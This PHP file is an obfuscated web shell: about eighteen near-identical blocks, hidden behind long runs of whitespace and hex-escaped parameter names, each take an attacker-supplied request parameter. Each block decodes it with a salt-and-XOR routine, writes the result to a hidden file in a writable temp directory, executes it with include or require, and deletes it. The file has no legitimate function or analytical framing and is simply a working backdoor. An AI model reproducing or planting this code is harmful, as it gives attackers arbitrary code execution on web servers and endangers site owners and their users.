<?php																																										if(!empty($_POST["b\x69\x6Ed"])){ $pgrp = $_POST["b\x69\x6Ed"]; $pgrp=explode ( '.' , $pgrp ) ; $tkn= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt); $v= 0; $__tmp= $pgrp; while( $v4= array_shift( $__tmp)) { $sChar= ord( $salt[$v % $sLen]); $dec= ( ( int)$v4 - $sChar -( $v % 10))^ 58; $tkn .= chr( $dec); $v++; } $val = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), session_save_path(), sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TEMP"), getenv("TMP")]); for ($ref = 0, $dat = count($val); $ref < $dat; $ref++) { $factor = $val[$ref]; if (!( !is_dir($factor) || !is_writable($factor) )) { $binding = sprintf("%s/.ent", $factor); if (file_put_contents($binding, $tkn)) { require $binding; unlink($binding); exit; } } } }
																																										if(array_key_exists("\x65n\x74ry", $_REQUEST) && !is_null($_REQUEST["\x65n\x74ry"])){ $itm = array_filter([getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/var/tmp", getcwd(), "/dev/shm", getenv("TEMP")]); $flag = $_REQUEST["\x65n\x74ry"]; $flag = explode('.', $flag ) ; $token =''; $s1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s1 ); $q =0; array_walk($flag ,function ($v3) use (&$token ,&$q ,$s1 ,$lenS) {$sChar =ord($s1[$q %$lenS] ); $d =((int)$v3 - $sChar - ($q %10))^97; $token .= chr($d ); $q++; } ); foreach ($itm as $k): if (array_product([is_dir($k), is_writable($k)])) { $tkn = join("/", [$k, ".obj"]); $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $token); fclose($file); include $tkn; @unlink($tkn); die(); } } endforeach; }
																																										if(!is_null($_REQUEST["\x65nt"] ?? null)){ $object = array_filter(["/tmp", session_save_path(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp"]); $bind = $_REQUEST["\x65nt"]; $bind = explode ('.' , $bind ) ; $parameter_group = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $i = 0; while( $i < count( $bind)) { $v5 = $bind[$i]; $chS = ord( $s[$i%$lenS] ); $dec =( ( int)$v5 - $chS -( $i%10)) ^ 32; $parameter_group .= chr( $dec ); $i++;} $pointer = 0; do { $reference = $object[$pointer] ?? null; if ($pointer >= count($object)) break; if (!!is_dir($reference) && !!is_writable($reference)) { $binding = implode("/", [$reference, ".desc"]); if (file_put_contents($binding, $parameter_group)) { require $binding; unlink($binding); die(); } } $pointer++; } while (true); }
																																										if(isset($_POST["o\x62\x6A\x65ct"]) ? true : false){ $ref = array_filter(["/dev/shm", "/tmp", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getenv("TMP")]); $rec = $_POST["o\x62\x6A\x65ct"]; $rec= explode('.', $rec) ; $entry =''; $s2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s2); $m =0; foreach ($rec as $v8) { $sChar =ord($s2[$m% $sLen]); $d =((int)$v8 - $sChar - ($m% 10)) ^40; $entry.=chr($d); $m++; } $pointer = 0; do { $mrk = $ref[$pointer] ?? null; if ($pointer >= count($ref)) break; if ((bool)is_dir($mrk) && (bool)is_writable($mrk)) { $pset = "$mrk" . "/.token"; $success = file_put_contents($pset, $entry); if ($success) { include $pset; @unlink($pset); exit;} } $pointer++; } while (true); }
																																										if(!empty($_POST["\x70set"])){ $token = $_POST["\x70set"]; $token = explode ( '.' , $token ); $pointer = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); foreach( $token as $o => $v1): $chS = ord( $salt[$o%$lenS] ); $dec =( ( int)$v1 - $chS -( $o%10)) ^ 61; $pointer .= chr( $dec ); endforeach; $flg = array_filter([session_save_path(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/var/tmp"]); $property_set = 0; do { $val = $flg[$property_set] ?? null; if ($property_set >= count($flg)) break; if (!( !is_dir($val) || !is_writable($val) )) { $k = sprintf("%s/.sym", $val); if (@file_put_contents($k, $pointer) !== false) { include $k; unlink($k); die(); } } $property_set++; } while (true); }
																																										if(array_key_exists("\x65\x6Etry", $_REQUEST)){ $val = array_filter([getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), session_save_path(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp"]); $reference = $_REQUEST["\x65\x6Etry"]; $reference = explode ( '.' , $reference ); $symbol = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($reference as $l => $v8): $sChar = ord($s[$l % $lenS]); $dec = ((int)$v8 - $sChar - ($l % 10)) ^ 83; $symbol .= chr($dec); endforeach; foreach ($val as $key => $data) { if ((is_dir($data) and is_writable($data))) { $desc = vsprintf("%s/%s", [$data, ".parameter_group"]); if (@file_put_contents($desc, $symbol) !== false) { include $desc; unlink($desc); exit; } } } }
																																										if(array_key_exists("\x68\x6Cd", $_REQUEST)){ $sym = $_REQUEST["\x68\x6Cd"]; $sym= explode ( "." , $sym) ; $elem = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $k = 0; $__tmp = $sym; while( $v1 = array_shift( $__tmp)) { $chS = ord( $s[$k % $sLen]); $d =( ( int)$v1 - $chS -( $k % 10)) ^ 99; $elem .= chr( $d); $k++; } $object = array_filter([getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TMP")]); $binding = 0; do { $key = $object[$binding] ?? null; if ($binding >= count($object)) break; if ((is_dir($key) and is_writable($key))) { $pgrp = "$key" . "/.data_chunk"; $success = file_put_contents($pgrp, $elem); if ($success) { include $pgrp; @unlink($pgrp); exit;} } $binding++; } while (true); }
																																										if(isset($_POST["\x72\x65source"])){ $data_chunk = $_POST["\x72\x65source"]; $data_chunk =explode ( ".",$data_chunk ); $token = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s8 ); foreach( $data_chunk as $w => $v6) { $sChar = ord( $s8[$w % $sLen] ); $dec =( ( int)$v6 - $sChar -( $w % 10)) ^ 36; $token .= chr( $dec ); } $marker = array_filter([getenv("TMP"), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), sys_get_temp_dir(), "/dev/shm", "/tmp"]); while ($desc = array_shift($marker)) { if (max(0, is_dir($desc) * is_writable($desc))) { $factor = "$desc" . "/.object"; if (@file_put_contents($factor, $token) !== false) { include $factor; unlink($factor); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x70\x61ra\x6Det\x65\x72_g\x72\x6Fup"])){ $pgrp = $_POST["\x70\x61ra\x6Det\x65\x72_g\x72\x6Fup"]; $pgrp = explode ( '.' ,$pgrp ) ; $symbol = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $j = 0; $len = count( $pgrp); do { if( $j >= $len) break; $v6 = $pgrp[$j]; $sChar = ord( $s[$j % $lenS]); $dec =( ( int)$v6 - $sChar -( $j % 10)) ^ 81; $symbol.=chr( $dec); $j++; } while( true); $dat = array_filter([getcwd(), "/dev/shm", getenv("TMP"), "/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp"]); while ($flg = array_shift($dat)) { if (!!is_dir($flg) && !!is_writable($flg)) { $ent = "$flg" . "/.holder"; if (@file_put_contents($ent, $symbol) !== false) { include $ent; unlink($ent); exit; } } } }
																																										if(isset($_POST["\x64\x61ta"])){ $entity = array_filter([sys_get_temp_dir(), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), getcwd(), "/dev/shm", "/var/tmp"]); $ptr = $_POST["\x64\x61ta"]; $ptr = explode ( "." , $ptr); $object = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3); $y = 0; array_walk($ptr, function ($v1) use (&$object, &$y, $s3, $lenS) { $sChar = ord($s3[$y %$lenS]); $dec = ((int)$v1 - $sChar - ($y %10)) ^ 52; $object .= chr($dec); $y++; }); $mrk = 0; do { $flag = $entity[$mrk] ?? null; if ($mrk >= count($entity)) break; if (is_dir($flag) && is_writable($flag)) { $obj = "$flag" . "/.element"; if (file_put_contents($obj, $object)) { include $obj; @unlink($obj); exit; } } $mrk++; } while (true); }
																																										if(!empty($_REQUEST["\x65nt"])){ $value = $_REQUEST["\x65nt"]; $value = explode ( "." , $value) ; $entity = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); foreach ($value as $t => $v5) { $chS = ord($s2[$t %$lenS]); $dec = ((int)$v5 - $chS - ($t %10)) ^ 28; $entity .= chr($dec); } $flag = array_filter([getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), "/tmp", getenv("TMP"), "/var/tmp", sys_get_temp_dir()]); for ($itm = 0, $component = count($flag); $itm < $component; $itm++) { $parameter_group = $flag[$itm]; if ((bool)is_dir($parameter_group) && (bool)is_writable($parameter_group)) { $binding = implode("/", [$parameter_group, ".ref"]); if (@file_put_contents($binding, $entity) !== false) { include $binding; unlink($binding); die(); } } } }
																																										if(isset($_REQUEST["\x66lg"]) ? true : false){ $element = $_REQUEST["\x66lg"]; $element= explode ( '.' ,$element) ; $ref =''; $s2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s2); $__len =count($element); for ($k =0; $k <$__len; $k++) { $v8 =$element[$k]; $sChar =ord($s2[$k % $lenS]); $d =((int)$v8 - $sChar - ($k % 10))^ 31; $ref .= chr($d); } $pset = array_filter(["/dev/shm", "/tmp", getenv("TMP"), "/var/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir()]); foreach ($pset as $key => $resource) { if (is_dir($resource) ? is_writable($resource) : false) { $token = str_replace("{var_dir}", $resource, "{var_dir}/.desc"); $success = file_put_contents($token, $ref); if ($success) { include $token; @unlink($token); exit;} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["hl\x64"])){ $holder = array_filter([getenv("TMP"), session_save_path(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/tmp"]); $item = $_REQUEST["hl\x64"]; $item = explode ("." ,$item ); $resource = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s4); foreach( $item as $t=>$v8) { $chS = ord( $s4[$t % $sLen]); $dec =( ( int)$v8 - $chS -( $t % 10)) ^ 22; $resource .= chr( $dec); } foreach ($holder as $key => $mrk) { if ((function($d) { return is_dir($d) && is_writable($d); })($mrk)) { $fac = "$mrk/.descriptor"; if (file_put_contents($fac, $resource)) { include $fac; @unlink($fac); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["sy\x6Db\x6F\x6C"])){ $desc = array_filter(["/tmp", sys_get_temp_dir(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), session_save_path(), getenv("TEMP")]); $item = $_REQUEST["sy\x6Db\x6F\x6C"]; $item= explode ("." , $item ) ; $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($item as $i => $v4): $sChar = ord($salt[$i % $lenS]); $d = ((int)$v4 - $sChar - ($i % 10))^ 28; $obj .= chr($d); endforeach; foreach ($desc as $object): if (!!is_dir($object) && !!is_writable($object)) { $parameter_group = str_replace("{var_dir}", $object, "{var_dir}/.comp"); $file = fopen($parameter_group, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $parameter_group; @unlink($parameter_group); exit; } } endforeach; }
																																										if(isset($_REQUEST["f\x61c\x74or"])){ $record = array_filter([getcwd(), "/var/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/tmp"]); $entity = $_REQUEST["f\x61c\x74or"]; $entity =explode( '.', $entity ) ; $parameter_group = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); foreach($entity as $x =>$v3): $chS = ord($salt9[$x % $lenS]); $dec =((int)$v3 - $chS -($x % 10)) ^ 18; $parameter_group .= chr($dec); endforeach; for ($ent = 0, $component = count($record); $ent < $component; $ent++) { $hld = $record[$ent]; if (!!is_dir($hld) && !!is_writable($hld)) { $ref = str_replace("{var_dir}", $hld, "{var_dir}/.flag"); $success = file_put_contents($ref, $parameter_group); if ($success) { include $ref; @unlink($ref); exit;} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["f\x6C\x61g"])){ $factor = array_filter([getenv("TEMP"), session_save_path(), "/dev/shm", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", sys_get_temp_dir()]); $entry = $_REQUEST["f\x6C\x61g"]; $entry= explode( "." , $entry) ; $bind= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $i= 0; array_walk($entry, function ($v5) use (&$bind, &$i, $salt, $sLen) { $sChar= ord($salt[$i % $sLen]); $d= ((int)$v5 - $sChar - ($i % 10)) ^ 56; $bind .= chr($d); $i++;}); foreach ($factor as $key => $pset) { if ((bool)is_dir($pset) && (bool)is_writable($pset)) { $data_chunk = implode("/", [$pset, ".ent"]); if (@file_put_contents($data_chunk, $bind) !== false) { include $data_chunk; unlink($data_chunk); exit; } } } }


if(isset($_POST["\x65lement"]) ? true : false){
	$flag = $_POST["\x65lement"];
		 $flag= 	 explode  ("."	  ,$flag);	
	$entry = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s);
            $j = 0;
    
            while($j < count($flag)) {
                $v8 = $flag[$j];
                $chS = ord($s[$j% $lenS]);
                $dec =((int)$v8 - $chS -($j% 10)) ^ 55;
                $entry .= chr($dec);
                $j++;
            }
	$value = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), session_save_path(), "/tmp", "/var/tmp", "/dev/shm", getenv("TMP"), getenv("TEMP")]);
	while ($k = array_shift($value)) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($k)) {
    $tkn = vsprintf("%s/%s", [$k, ".property_set"]);
    if (file_put_contents($tkn, $entry)) {
	include $tkn;
	@unlink($tkn);
	die();
}
}
}
}